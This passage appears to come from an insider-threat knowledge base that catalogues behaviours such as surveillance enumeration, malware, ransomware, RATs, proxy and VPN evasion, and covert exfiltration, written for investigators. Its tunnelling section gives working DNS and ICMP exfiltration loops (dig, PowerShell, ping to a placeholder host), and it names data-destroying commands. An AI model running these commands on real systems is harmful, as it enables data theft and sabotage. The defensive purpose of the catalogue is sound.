NetFlow Analysis

The subject enumerates organizational CCTV coverage through physical reconnaissance, network-based probing, or a combination of both. This behavior aims to identify surveillance blind spots, coverage patterns, and system weaknesses in order to plan insider activity such as unauthorized entry, covert data removal, or sabotage.

• Physical enumeration involves walking routes to observe camera placement, photographing or sketching locations, and identifying fields of view, blind spots, or coverage overlaps. Subjects may test movement within blind zones or note environmental features (e.g., pillars, furniture) that obstruct visibility.

• Network enumeration targets digital surveillance systems, including IP cameras, DVRs, NVRs, and PoE switches. Subjects may scan for active devices, query configurations, or attempt login with default credentials to discover camera IPs, firmware details, and accessible streams.

When combined, physical and network enumeration provide a sophisticated map of surveillance infrastructure. For example, a subject may confirm camera placement through on-site observation, then validate viewing angles and live coverage zones by remotely accessing the corresponding camera feeds across the network. This dual approach allows the subject to identify exact surveillance gaps, test whether specific areas are monitored, and plan movement or concealment with high confidence.

This behavior is a strong indicator of deliberate preparation, as it requires technical effort, situational awareness, and intent to circumvent organizational surveillance.

The subject deliberately or inadvertently introduces malicious software (commonly referred to as malware) into the organization’s environment. This may occur via manual execution, automated dropper delivery, browser‑based compromise, USB usage, or sideloading through legitimate processes. Malicious software includes trojans, keyloggers, ransomware, credential stealers, remote access tools (RATs), persistence frameworks, or other payloads designed to cause harm, exfiltrate data, degrade systems, or maintain unauthorized control.

Installation of malicious software represents a high-severity infringement, regardless of whether the subject's intent was deliberate or negligent. In some cases, malware introduction is the culmination of prior behavioral drift (e.g. installing unapproved tools or disabling security controls), while in others it may signal malicious preparation or active compromise.

This Section is distinct from general “Installing Unapproved Software”, which covers non‑malicious or policy-violating tools. Here, the software itself is malicious in purpose or impact, even if delivered under benign pretenses.

A subject exfiltrates data from an organization by encapsulating or hiding it within an otherwise legitimate protocol. This technique allows the subject to covertly transfer data, evading detection by standard security monitoring tools. Commonly used protocols, such as DNS and ICMP, are often leveraged to secretly transmit data to an external destination.

DNS Tunneling (Linux)
A simple example of how DNS tunneling might be achieved with 'Living off the Land' binaries (LoLBins) in Linux:
 

Prerequisites:

• A domain the subject controls or can use for DNS queries.
• A DNS server to receive and decode the DNS queries.

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex
 

2. The subject splits the hexdump into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

split -b 32 secret.txt.hex hexpart_

3. The subject uses dig to send the data in DNS TXT queries. Looping through the split files and sending each chunk as the subdomain of example.com in a TXT record query:

for part in hexpart_*; do
   h=$(cat $part)
   dig txt $h.example.com
done

On the target DNS server that they control, the subject captures the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

DNS Tunneling (Windows)
A simple example of how DNS tunneling might be achieved with PowerShell in Windows:

Prerequisites:

• A the subject you controls.
  A DNS server or a script on the subjects server to capture and decode the DNS queries.

Steps:
1. The subject converts the sensitive file to hex:

$filePath = "C:\path\to\your\secret.txt"
$hexContent = [System.BitConverter]::ToString([System.IO.File]::ReadAllBytes($filePath)) -replace '-', ''

2. The subject splits the hex data into manageable chunks that can fit into DNS query labels (each label can be up to 63 characters, but it’s often safe to use a smaller size, such as 32 characters):

$chunkSize = 32
$chunks = $hexContent -split "(.{$chunkSize})" | Where-Object { $_ -ne "" }

3. The subject sends the data in DNS TXT queries. Looping through the hex data chunks and sending each chunk as the subdomain of example.com in a TXT record query:

$domain = "example.com"

foreach ($chunk in $chunks) {
   $query = "$chunk.$domain"
   Resolve-DnsName -Name $query -Type TXT
}

The subject will capture the incoming DNS TXT record queries on the receiving DNS server and decode the reassembled hex data from the subdomain of the query.

ICMP Tunneling (Linux)
A simple example of how ICMP tunneling might be achieved with 'Living off the Land' binaries (LOLBins) in Linux:
 

Prerequisites:

• The subject has access to a server that can receive and process ICMP packets.
• The subject has root privileges on both client and server machines (as ICMP usually requires elevated permissions).

Steps:

1. The subject uses xxd to create a hex dump of the file they wish to exfiltrate. For example, if the file is secret.txt:

xxd -p secret.txt > secret.txt.hex

2. The subject splits the hexdump into manageable chunks. ICMP packets have a payload size limit, so it’s common to use small chunks. The following command will split the hex data into 32-byte chunks:
 

split -b 32 secret.txt.hex hexpart_

3. The subject uses ping to send the data in ICMP echo request packets. Loop through the split files and send each chunk as part of the ICMP payload:

DESTINATION_IP="subject_server_ip"
for part in hexpart_*; do
   h=$(cat $part)
   ping -c 1 -p "$h" $DESTINATION_IP
done

The subject will capture the incoming ICMP packets on the destination server, extract the data from the packets and decode the reassembled the hex data.

A subject installs custom software or malware on an endpoint, potentially disguising it as a legitimate process. This software includes tripwire logic to monitor the system for signs of security activity.

The tripwire software monitors various aspects of the endpoint to detect potential investigations:

• Security Tool Detection: It scans running processes and monitors new files or services for signatures of known security tools, such as antivirus programs, forensic tools, and Endpoint Detection and Response (EDR) systems.
• File and System Access: It tracks access to critical files or system directories (e.g., system logs, registry entries) commonly accessed during security investigations. Attempts to open or read sensitive files can trigger an alert.
• Network Traffic Analysis: The software analyzes network traffic to identify unusual patterns, including connections to Security Operations Centers (SOC) or the blocking of command-and-control servers by network security controls.
• User and System Behavior: It observes system behavior and monitors logs (such as event logs) that indicate an investigation is in progress, such as switching to an administrative account or modifying security settings (e.g., enabling disk encryption, changing firewall rules).

Upon detecting security activity, the tripwire can initiate various evasive responses:

• Alert the Subject: It covertly sends an alert to an external server controlled by the subject, using common system tools (e.g., curl, wget, or HTTP requests).
• Modify Endpoint Behavior: It can terminate malicious processes, erase evidence (e.g., logs, browser history, specific files), or restore system and network configurations to conceal signs of tampering.

The subject develops a custom API that monitors specific activities, network traffic, and system changes within the target environment. The API could monitor HTTP/HTTPS requests directed at sensitive endpoints, track modifications to security group settings (such as firewalls or access policies), and identify administrative actions like changes to user accounts, data access requests, or logging configurations.

This tripwire API is embedded within various parts of the environment:

• Cloud Services: It hooks into serverless functions, containers, or virtual machines to monitor access and activity.
• Applications: It integrates into custom-built web applications to observe access to certain URLs, paths, or endpoints.
• Infrastructure Services: It monitors cloud management APIs (e.g., AWS, Azure, Google Cloud) for unusual activities indicative of an investigation.

Once deployed, the tripwire API continuously monitors network traffic, API calls, and system changes for indicators of an investigation. It looks for:

• Known Security Tools: Scanning for network traffic signatures from common security tools (like Nessus or nmap) or patterns associated with incident response teams.
• Unusual Access: Detecting attempts from IP ranges linked to internal security teams or cloud provider security operations centers.
• System Changes: Watching for actions typical of an investigation, such as new logging mechanisms, alterations to IAM roles, or the activation of cloud monitoring services.

The API can use whitelists for expected IP addresses or user accounts, triggering alerts if unexpected access occurs.

Upon detecting activity, the API tripwire can take immediate evasive actions:

• Alert the Subject: It sends covert alerts to an external server controlled by the subject, through an HTTP request, encrypted email, or messaging platform.
• Suspend Malicious Activity: If integrated into a malicious workflow, the API can halt ongoing data exfiltration or malware processes.
• Clean Up Evidence: It triggers scripts to delete logs, clear files, or reset system configurations to hinder forensic analysis.
• Feign Normalcy: It restores access controls and system settings to their default state, masking any signs of unusual activity.

The subject installs and operates unauthorized cryptocurrency mining software on organizational systems, leveraging compute, network, and energy resources for personal financial gain. This activity subverts authorized system use policies, degrades operational performance, increases attack surface, and introduces external control risks.

Characteristics

• Deploys CPU-intensive or GPU-intensive processes (e.g., xmrig, ethminer, phoenixminer, nicehash) on endpoints, servers, or cloud infrastructure without approval.
• May use containerized deployments (Docker), low-footprint mining scripts, browser-based JavaScript miners, or stealth binaries disguised as legitimate processes.
• Often configured to throttle resource usage during business hours to evade human and telemetry detection.
• Establishes persistent outbound network connections to mining pools (e.g., via Stratum mining protocol over TCP/SSL).
• Frequently disables system security features (e.g., Anti-Virus (AV)/Endpoint Detection & Response (EDR) agents, power-saving modes) to maintain uninterrupted mining sessions.
• Represents not only misuse of resources but also creates unauthorized outbound communication channels that bypass standard network controls.

Example Scenario

A subject installs a customized xmrig Monero mining binary onto under-monitored R&D servers by side-loading it via a USB device. The miner operates in "stealth mode," hiding its process name within legitimate system services and throttling CPU usage to 60% during business hours. Off-peak hours show 95% CPU utilization with persistent outbound TCP traffic to an external mining pool over a non-standard port. The mining operation remains active for six months, leading to significant compute degradation, unplanned electricity costs, and unmonitored external network connections that could facilitate broader compromise.

The subject is a current or former asset of a nation-state intelligence service, operating inside the organization with pre-existing loyalty to, or direct affiliation with, a foreign government. Unlike insiders who develop espionage motives post-employment, this subject is often inserted, recruited prior to hiring, or cultivated externally over time and then encouraged to seek access to a target organization.

Their motive is the advancement of strategic objectives on behalf of a foreign nation-state. These objectives may include extracting sensitive information, degrading operational resilience, manipulating internal systems or decisions, weakening public or partner trust, or embedding long-term access for future exploitation. Such subjects may be formal intelligence officers, contract operatives, ideological affiliates, or individuals acting under recruitment, coercion, or influence.

Example Scenarios:

• A subject recruited during university by a foreign security service secures a role in a telecommunications provider and enables covert surveillance access for state-level eavesdropping.
• A subject hired into a biopharmaceutical firm has pre-existing links to a state-sponsored “talent program” and transfers research data to affiliated institutions abroad via covert cloud channels.

The subject installs a browser capable of accessing anonymity networks, such as the Tor Browser (used for .onion sites), I2P Router Console, or Freenet, as part of preparation for covert research, anonymous communication, or unmonitored data exchange. This behavior may support future infringement by enabling non-attributable activity outside sanctioned IT controls.

Installation of the Tor Browser Bundle typically involves downloading a signed executable or compressed package from https://www.torproject.org, executing an installer that unpacks a portable browser (a custom-hardened Firefox variant), and launching start-tor-browser.exe—which spawns both the Tor daemon (tor.exe) and the browser instance (firefox.exe) in a sandboxed environment. Configuration files such as torrc may be modified to enable pluggable transports (e.g., obfs4, meek) designed to evade deep packet inspection (DPI) or proxy enforcement.

In environments with proxy filtering, the subject may attempt to chain Tor through bridge relays or VPNs, obfuscate traffic using SOCKS5 tunneling, or execute from non-standard directories (e.g., cloud-sync folders, external volumes). Some subjects bypass endpoint controls entirely by booting into live-operating systems (e.g., Tails, Whonix) which route all system traffic through Tor by default and leave minimal forensic artifacts on host storage.

This installation is rarely accidental and often coincides with other policy evasions or drift indicators. The presence of anonymizing tools—even in dormant form—warrants scrutiny as a preparatory indicator linked to potential data exfiltration, credential harvesting, or external coordination.

The subject deploys credential-harvesting malware (commonly referred to as an infostealer) to extract sensitive authentication material or session artifacts from systems under their control. These payloads are typically configured to capture data from browser credential stores (e.g., Login Data SQLite databases in Chromium-based browsers), password vaults (e.g., KeePass, 1Password), clipboard buffers, Windows Credential Manager, or the Local Security Authority Subsystem Service (LSASS) memory space.

Infostealers may be executed directly via compiled binaries, staged through malicious document macros, or loaded reflectively into memory using PowerShell, .NET assemblies, or process hollowing techniques. Some variants are fileless and reside entirely in memory, while others create persistence via registry keys (e.g., HKCU\Software\Microsoft\Windows\CurrentVersion\Run) or scheduled tasks.

While often associated with external threat actors, insider deployment of infostealers allows subjects to bypass authentication safeguards, impersonate peers, or exfiltrate internal tokens for later use or sale. In cases where data is not immediately exfiltrated, local staging (e.g., in %AppData%, %Temp%, or encrypted containers) may indicate an intent to transfer data offline or deliver it via alternate channels.

The subject deploys ransomware within the organization’s environment, resulting in the encryption, locking, or destructive alteration of organizational data, systems, or backups. Ransomware used by insiders may be obtained from public repositories, affiliate programs (e.g. RaaS platforms), or compiled independently using commodity builder kits. Unlike external actors who rely on phishing or remote exploitation, insiders often bypass perimeter controls by detonating ransomware from within trusted systems using local access.

Ransomware payloads are typically compiled as executables, occasionally obfuscated using packers or crypters to evade detection. Execution may be initiated via command-line, scheduled task, script wrapper, or automated loader. Encryption routines often target common file extensions recursively across accessible volumes, mapped drives, and cloud sync folders. In advanced deployments, the subject may disable volume shadow copies (vssadmin delete shadows) or stop backup agents (net stop) prior to detonation to increase impact.

In some insider scenarios, ransomware is executed selectively: targeting specific departments, shares, or systems, rather than broad detonation. This behavior may indicate intent to send a message, sabotage selectively, or avoid attribution. Payment demands may be issued internally, externally, or omitted entirely if disruption is the primary motive.

The subject deploys software designed to record keystrokes entered on an endpoint to capture credentials, sensitive communications, internal documentation, or intellectual property. Keyloggers may be introduced as standalone binaries, embedded within otherwise legitimate tools, or configured through dual-use frameworks (e.g. C++ dropper with keylogging module). In insider scenarios, the deployment is typically local and deliberate, leveraging the subject’s physical access or assigned privileges to bypass existing controls.

Keyloggers operate in one of several modes:

• Kernel-based: Install drivers or hook low-level keyboard input APIs (e.g. Kbdclass.sys) to intercept inputs pre-OS.
• User-mode: Hook Windows APIs (SetWindowsHookEx, GetAsyncKeyState, GetForegroundWindow) to log input tied to active processes or windows.
• Form grabbers: Intercept browser or GUI form submissions, often bypassing SSL/TLS encryption by logging data pre-submission.
• Clipboard and screen scrapers: Supplement keylogging with capture of copied content and screenshots for contextual awareness.

Captured data is typically stored in encrypted local files (e.g. %TEMP%, %APPDATA%, or hidden directories), periodically exfiltrated via email, FTP, HTTP POST, or external storage.

The subject deploys a Remote Access Tool (RAT): a software implant that provides covert, persistent remote control of an endpoint or server—enabling continued unauthorized access, monitoring, or post-employment re-entry. Unlike sanctioned remote administration platforms, RATs are deployed without organizational oversight and are often configured to obfuscate their presence, evade detection, or blend into legitimate activity.

RATs deployed by insiders may be off-the-shelf tools (e.g. njRAT, Quasar, Remcos), lightly modified open-source frameworks (e.g. Havoc, Pupy), or commercial-grade products repurposed for unsanctioned use (e.g. AnyDesk, TeamViewer in stealth mode). 

Functionality typically includes:

• Full GUI or shell access
• File system interaction
• Screenshot and webcam capture
• Credential harvesting
• Process and registry manipulation
• Optional keylogging and persistence modules

Deployment methods include manual installation, script-wrapped droppers, DLL side-loading, or execution via LOLBins (mshta, rundll32). Persistence is typically achieved through scheduled tasks, registry run keys, or disguised service installations. In some cases, the RAT may be configured to activate only during specific windows or respond to remote beacons, reducing exposure to detection.

The subject deploys destructive malware; software designed to irreversibly damage systems, erase data, or disrupt operational availability. Unlike ransomware, which encrypts files to extort payment, destructive malware is deployed with the explicit intent to delete, corrupt, or disable systems and assets without recovery. Its objective is disruption or sabotage, not necessarily for direct financial gain.

This behavior may include:

• Wiper malware (e.g. HermeticWiper, WhisperGate, ZeroCleare)
• Logic bombs or time-triggered deletion scripts
• Bootloader overwrite tools or UEFI tampering utilities
• Mass delete or format scripts (format, cipher /w, del /s /q, rm -rf)
• Data corruption utilities (e.g. file rewriters, header corruptors)
• Credential/system-wide lockout scripts (e.g. disabling accounts, resetting passwords en masse)

Insiders may deploy destructive malware as an act of retaliation (e.g. prior to departure), sabotage (e.g. to disrupt an investigation or competitor), or under coercion. Detonation may be manual or scheduled, and in some cases the malware is disguised as routine tooling to delay detection.

Destructive deployment is high-severity and often coincides with forensic tampering or precursor access based infringements (e.g. file enumeration or backup deletion).

A subject configures either their web browser or operating system to route HTTP and HTTPS traffic through a manually defined outbound proxy server. This action enables them to redirect web activity through an external node, effectively masking the true destination of network traffic and undermining key layers of enterprise monitoring and control.

By placing a proxy between their endpoint and the internet, the subject can obscure final destinations, bypass domain-based filtering, evade SSL inspection, and suppress logging artifacts that would otherwise be available to investigative teams. This behavior, when unsanctioned, is a hallmark of anti-forensic preparation—often signaling an intent to conceal exfiltration, contact unmonitored services, or test visibility boundaries.

While proxies are sometimes used for legitimate troubleshooting, research, or sandboxing purposes, their use outside approved configurations or infrastructure should be treated as an investigatory lead.

Technical Method

Both browsers and operating systems offer mechanisms to define proxy behavior. These configurations typically involve:

• Declaring a proxy server IP address or hostname (e.g., 198.51.100.7)
• Assigning a port (e.g., 8080, 3128)
• Specifying bypass rules for local or internal traffic (e.g., localhost, *.corp)

Once defined, the behavior is as follows:

• Outbound Traffic Routing: All HTTP and HTTPS traffic is redirected through the proxy server, often using tunneling methods (e.g., HTTP CONNECT).
• DNS Resolution Shift: The proxy, not the local device, resolves domain names—bypassing internal DNS logging and threat intelligence correlation.
• Destination Obfuscation: To enterprise firewalls, CASBs, and Secure Web Gateways, the endpoint appears to connect only to the proxy—not to actual external services.
• Encrypted Traffic Concealment: If the proxy does not participate in the organization’s SSL inspection chain, encrypted traffic remains opaque and unlogged.
• System-Level Impact: When configured at the OS level, the proxy may affect all applications—not just browsers—expanding the anti-forensic footprint to tools such as command-line utilities, development environments, or exfiltration scripts.

Proxy settings may be configured through user interfaces, system preferences, environment variables, or policy files—none of which necessarily require administrative privileges unless endpoint controls are in place.

This technique is especially potent in organizations with reliance on DNS logs, web filtering, or SSL interception as primary visibility mechanisms. It fractures investigative fidelity and should be escalated when observed in unauthorized contexts.

The subject deliberately uses Virtual Private Network (VPN) technology in a manner that circumvents organizational oversight, masking the nature, destination, or content of network activity. This includes installing unapproved VPN clients, as well as reconfiguring sanctioned VPN software to route traffic through unauthorized exit nodes, personal infrastructure, or third-party services not governed by corporate policy.

By diverting traffic away from monitored pathways, the subject obstructs standard telemetry collection - evading logging of session destinations, data transfers, or identity-bound usage. This behavior frustrates forensic reconstruction, hinders real-time monitoring, and degrades the reliability of investigative artifacts. Unauthorized VPN usage is an intentional anti-forensics measure aimed at concealing potentially harmful activity behind layers of encrypted and unsanctioned transit.

The subject installs and activates browser-based VPN or proxy extensions (such as Hola VPN, Browsec, or ZenMate) to anonymize specific web activity while avoiding host-level detection or access restrictions. These lightweight tools require no administrative privileges and often evade traditional endpoint controls, allowing subjects to selectively obscure browsing sessions, bypass content filtering, or access external services undetected.

Unlike full-system VPN clients, browser-based VPNs operate at the application layer, making them more difficult to inventory, log, or control using conventional network or endpoint defenses. Their use complicates investigative visibility into user intent, session content, and destination domains, particularly when paired with HTTPS encryption or private browsing modes. This technique represents a form of network anti-forensics intended to obscure subject behavior with minimal system footprint or oversight.